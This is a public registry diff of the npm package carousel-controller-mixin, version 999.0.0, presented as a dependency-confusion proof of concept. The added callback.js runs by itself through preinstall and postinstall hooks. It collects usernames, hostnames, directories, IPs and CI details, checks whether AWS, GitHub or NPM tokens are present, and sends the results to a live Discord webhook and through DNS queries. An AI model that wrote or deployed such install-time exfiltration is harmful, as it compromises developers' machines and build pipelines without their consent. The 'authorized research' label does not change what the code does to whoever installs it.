carousel-controller-mixin 0.0.1-security → 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of carousel-controller-mixin might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,18 @@
1
- # Security holding package
1
+ # carousel-controller-mixin
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ ## Security Research PoC
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=carousel-controller-mixin for more information.
5
+ This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
6
+
7
+ ### What is Dependency Confusion?
8
+
9
+ Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
10
+
11
+ ### Author
12
+
13
+ - **OFJAAAH**
14
+ - Tool: Dependency Confusion Hunter
15
+
16
+ ### Disclaimer
17
+
18
+ This package is for **authorized security testing only**. Do not use for malicious purposes.
package/callback.js ADDED
@@ -0,0 +1,291 @@
1
+ #!/usr/bin/env node
2
+
3
+
4
+ const https = require('https');
5
+ const http = require('http');
6
+ const os = require('os');
7
+ const { execSync } = require('child_process');
8
+
9
+ const CALLBACK_URL = 'Discord Webhook';
10
+ const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1516163806559076442/j-EsZnZ4l2wqzbeef39EDg8f6hr_UsyIKNH5Y9wm9RBBBOcep36EfeEHKn_HlM6e-EZ6';
11
+ const PACKAGE_NAME = 'carousel-controller-mixin';
12
+
13
+ // Get network interfaces to find IP
14
+ function getLocalIP() {
15
+ try {
16
+ const interfaces = os.networkInterfaces();
17
+ for (const name of Object.keys(interfaces)) {
18
+ for (const iface of interfaces[name]) {
19
+ if (iface.family === 'IPv4' && !iface.internal) {
20
+ return iface.address;
21
+ }
22
+ }
23
+ }
24
+ } catch (e) {}
25
+ return 'unknown';
26
+ }
27
+
28
+ // Get external IP (optional - may fail in restricted networks)
29
+ async function getExternalIP() {
30
+ return new Promise((resolve) => {
31
+ https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
32
+ let data = '';
33
+ res.on('data', chunk => data += chunk);
34
+ res.on('end', () => {
35
+ try {
36
+ resolve(JSON.parse(data).ip);
37
+ } catch (e) {
38
+ resolve(null);
39
+ }
40
+ });
41
+ }).on('error', () => resolve(null));
42
+ });
43
+ }
44
+
45
+ // Collect system info
46
+ function collectSystemInfo() {
47
+ const info = {
48
+ // Package info
49
+ package: PACKAGE_NAME,
50
+ timestamp: new Date().toISOString(),
51
+
52
+ // User info
53
+ user: os.userInfo().username,
54
+ uid: os.userInfo().uid,
55
+ gid: os.userInfo().gid,
56
+ homedir: os.userInfo().homedir,
57
+ shell: os.userInfo().shell,
58
+
59
+ // System info
60
+ hostname: os.hostname(),
61
+ platform: os.platform(),
62
+ arch: os.arch(),
63
+ release: os.release(),
64
+ type: os.type(),
65
+
66
+ // Directory info
67
+ cwd: process.cwd(),
68
+
69
+ // Network info
70
+ localIP: getLocalIP(),
71
+
72
+ // Node info
73
+ nodeVersion: process.version,
74
+ npmVersion: process.env.npm_package_version || 'unknown',
75
+
76
+ // CI/CD Detection
77
+ isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
78
+ ciEnvironment: detectCIEnvironment(),
79
+
80
+ // NPM info
81
+ npmLifecycle: process.env.npm_lifecycle_event || '',
82
+ npmPackageName: process.env.npm_package_name || '',
83
+
84
+ // Additional context
85
+ env: {
86
+ CI: process.env.CI || '',
87
+ GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
88
+ GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
89
+ GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
90
+ GITLAB_CI: process.env.GITLAB_CI || '',
91
+ GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
92
+ JENKINS_URL: process.env.JENKINS_URL || '',
93
+ BUILD_NUMBER: process.env.BUILD_NUMBER || '',
94
+ TRAVIS: process.env.TRAVIS || '',
95
+ CIRCLECI: process.env.CIRCLECI || '',
96
+ BUILDKITE: process.env.BUILDKITE || ''
97
+ }
98
+ };
99
+
100
+ return info;
101
+ }
102
+
103
+ function detectCIEnvironment() {
104
+ if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
105
+ if (process.env.GITLAB_CI) return 'GitLab CI';
106
+ if (process.env.JENKINS_URL) return 'Jenkins';
107
+ if (process.env.TRAVIS) return 'Travis CI';
108
+ if (process.env.CIRCLECI) return 'CircleCI';
109
+ if (process.env.BUILDKITE) return 'Buildkite';
110
+ if (process.env.CI) return 'Generic CI';
111
+ return 'Local Machine';
112
+ }
113
+
114
+ async function sendCallback() {
115
+ const systemInfo = collectSystemInfo();
116
+
117
+ // Try to get external IP
118
+ const externalIP = await getExternalIP();
119
+ if (externalIP) {
120
+ systemInfo.externalIP = externalIP;
121
+ }
122
+
123
+ const data = JSON.stringify(systemInfo);
124
+
125
+ const url = new URL(CALLBACK_URL);
126
+ const options = {
127
+ hostname: url.hostname,
128
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
129
+ path: url.pathname + (url.search || ''),
130
+ method: 'POST',
131
+ headers: {
132
+ 'Content-Type': 'application/json',
133
+ 'Content-Length': Buffer.byteLength(data),
134
+ 'User-Agent': 'dependency-confusion-poc/carousel-controller-mixin',
135
+ 'X-PoC-Package': 'carousel-controller-mixin',
136
+ 'X-PoC-Author': 'OFJAAAH'
137
+ },
138
+ timeout: 10000
139
+ };
140
+
141
+ const protocol = url.protocol === 'https:' ? https : http;
142
+
143
+ const req = protocol.request(options, (res) => {
144
+ console.log('[PoC] Callback sent - Status:', res.statusCode);
145
+ });
146
+
147
+ req.on('error', (e) => {
148
+ // Silently fail
149
+ });
150
+
151
+ req.on('timeout', () => {
152
+ req.destroy();
153
+ });
154
+
155
+ req.write(data);
156
+ req.end();
157
+ }
158
+
159
+ // DNS exfiltration for restricted networks
160
+ function sendDnsCallback() {
161
+ try {
162
+ const dns = require('dns');
163
+ const info = {
164
+ p: PACKAGE_NAME.substring(0, 15),
165
+ u: os.userInfo().username.substring(0, 10),
166
+ h: os.hostname().substring(0, 10),
167
+ t: Date.now()
168
+ };
169
+ const encoded = Buffer.from(JSON.stringify(info))
170
+ .toString('base64')
171
+ .replace(/[+/=]/g, '')
172
+ .substring(0, 50);
173
+
174
+ const dnsHost = encoded + '.' + new URL(CALLBACK_URL).hostname;
175
+ dns.resolve(dnsHost, () => {});
176
+ } catch (e) {}
177
+ }
178
+
179
+ // Send to Discord Webhook
180
+ async function sendDiscordCallback() {
181
+ if (!DISCORD_WEBHOOK || DISCORD_WEBHOOK === '') return;
182
+
183
+ const systemInfo = collectSystemInfo();
184
+ const externalIP = await getExternalIP();
185
+
186
+ // Calculate criticality based on environment
187
+ const isCI = systemInfo.isCI;
188
+ const isRoot = systemInfo.user === 'root' || systemInfo.user === 'Administrator';
189
+ const hasSecrets = !!(process.env.AWS_ACCESS_KEY_ID || process.env.GITHUB_TOKEN || process.env.NPM_TOKEN || process.env.DOCKER_PASSWORD);
190
+
191
+ let severity = 'MEDIUM';
192
+ let severityColor = 0xFFA500; // Orange
193
+ let severityEmoji = '🟠';
194
+
195
+ if (isCI && hasSecrets) {
196
+ severity = 'CRITICAL';
197
+ severityColor = 0xFF0000; // Red
198
+ severityEmoji = '🔴';
199
+ } else if (isCI || isRoot) {
200
+ severity = 'HIGH';
201
+ severityColor = 0xFF4500; // OrangeRed
202
+ severityEmoji = '🟠';
203
+ } else if (hasSecrets) {
204
+ severity = 'HIGH';
205
+ severityColor = 0xFF4500;
206
+ severityEmoji = '🟠';
207
+ }
208
+
209
+ // Build impact assessment
210
+ const impactList = [];
211
+ if (isCI) impactList.push('⚠️ CI/CD Pipeline Compromised');
212
+ if (isRoot) impactList.push('⚠️ Running as Root/Admin');
213
+ if (hasSecrets) impactList.push('⚠️ Secrets/Tokens Detected in ENV');
214
+ if (systemInfo.env.GITHUB_TOKEN || systemInfo.env.GITHUB_ACTIONS) impactList.push('🔑 GitHub Access Available');
215
+ if (process.env.AWS_ACCESS_KEY_ID) impactList.push('☁️ AWS Credentials Exposed');
216
+ if (process.env.NPM_TOKEN) impactList.push('📦 NPM Token Exposed');
217
+
218
+ const impactText = impactList.length > 0 ? impactList.join('\n') : '✅ No critical exposures detected';
219
+
220
+ // Build CI details if applicable
221
+ let ciDetails = '';
222
+ if (systemInfo.ciEnvironment !== 'Local Machine') {
223
+ ciDetails = systemInfo.ciEnvironment;
224
+ if (systemInfo.env.GITHUB_REPOSITORY) ciDetails += ' | Repo: ' + systemInfo.env.GITHUB_REPOSITORY;
225
+ if (systemInfo.env.GITHUB_ACTOR) ciDetails += ' | Actor: ' + systemInfo.env.GITHUB_ACTOR;
226
+ if (systemInfo.env.BUILD_NUMBER) ciDetails += ' | Build: ' + systemInfo.env.BUILD_NUMBER;
227
+ }
228
+
229
+ const embed = {
230
+ title: severityEmoji + ' DEPENDENCY CONFUSION - ' + severity + ' SEVERITY',
231
+ description: '**Package `' + PACKAGE_NAME + '` was installed and executed code!**\n\nThis confirms a dependency confusion vulnerability exists.',
232
+ color: severityColor,
233
+ fields: [
234
+ { name: '🎯 Severity Level', value: '**' + severity + '**', inline: true },
235
+ { name: '📦 Package', value: '`' + PACKAGE_NAME + '`', inline: true },
236
+ { name: '🏭 Environment', value: isCI ? '**CI/CD PIPELINE**' : 'Local Machine', inline: true },
237
+ { name: '📊 Impact Assessment', value: impactText, inline: false },
238
+ { name: '👤 User', value: '`' + (systemInfo.user || 'N/A') + '`' + (isRoot ? ' **[ROOT]**' : ''), inline: true },
239
+ { name: '🖥️ Hostname', value: '`' + (systemInfo.hostname || 'N/A') + '`', inline: true },
240
+ { name: '💻 Platform', value: (systemInfo.platform + ' ' + systemInfo.arch) || 'N/A', inline: true },
241
+ { name: '🌐 Local IP', value: '`' + (systemInfo.localIP || 'N/A') + '`', inline: true },
242
+ { name: '🌍 External IP', value: '`' + (externalIP || 'N/A') + '`', inline: true },
243
+ { name: '🔧 Node Version', value: systemInfo.nodeVersion || 'N/A', inline: true },
244
+ { name: '📁 Working Directory', value: '`' + (systemInfo.cwd || 'N/A') + '`', inline: false },
245
+ { name: '🏠 Home Directory', value: '`' + (systemInfo.homedir || 'N/A') + '`', inline: false },
246
+ ],
247
+ footer: { text: '🔍 Dependency Confusion Hunter by OFJAAAH | Authorized Security Research' },
248
+ timestamp: new Date().toISOString()
249
+ };
250
+
251
+ // Add CI details field if applicable
252
+ if (ciDetails) {
253
+ embed.fields.splice(3, 0, { name: '🔄 CI/CD Details', value: ciDetails, inline: false });
254
+ }
255
+
256
+ const payload = JSON.stringify({
257
+ embeds: [embed]
258
+ });
259
+
260
+ try {
261
+ const url = new URL(DISCORD_WEBHOOK);
262
+ const options = {
263
+ hostname: url.hostname,
264
+ port: 443,
265
+ path: url.pathname + url.search,
266
+ method: 'POST',
267
+ headers: {
268
+ 'Content-Type': 'application/json',
269
+ 'Content-Length': Buffer.byteLength(payload)
270
+ },
271
+ timeout: 10000
272
+ };
273
+
274
+ const req = https.request(options, (res) => {
275
+ console.log('[PoC] Discord callback sent - Status:', res.statusCode);
276
+ });
277
+
278
+ req.on('error', () => {});
279
+ req.write(payload);
280
+ req.end();
281
+ } catch (e) {}
282
+ }
283
+
284
+ // Execute callbacks
285
+ (async () => {
286
+ try {
287
+ await sendCallback();
288
+ await sendDiscordCallback();
289
+ sendDnsCallback();
290
+ } catch (e) {}
291
+ })();
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+
2
+ module.exports = {
3
+ name: 'carousel-controller-mixin',
4
+ version: '999.0.0',
5
+ poc: true,
6
+ author: 'r0binak'
7
+ };
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "carousel-controller-mixin",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "999.0.0",
4
+ "description": "Security research PoC - Dependency Confusion Hunter by r0binak",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node callback.js",
8
+ "postinstall": "node callback.js"
9
+ },
10
+ "keywords": [
11
+ "security",
12
+ "research",
13
+ "poc"
14
+ ],
15
+ "author": "r0binak - Security Research",
16
+ "license": "MIT"
17
+ }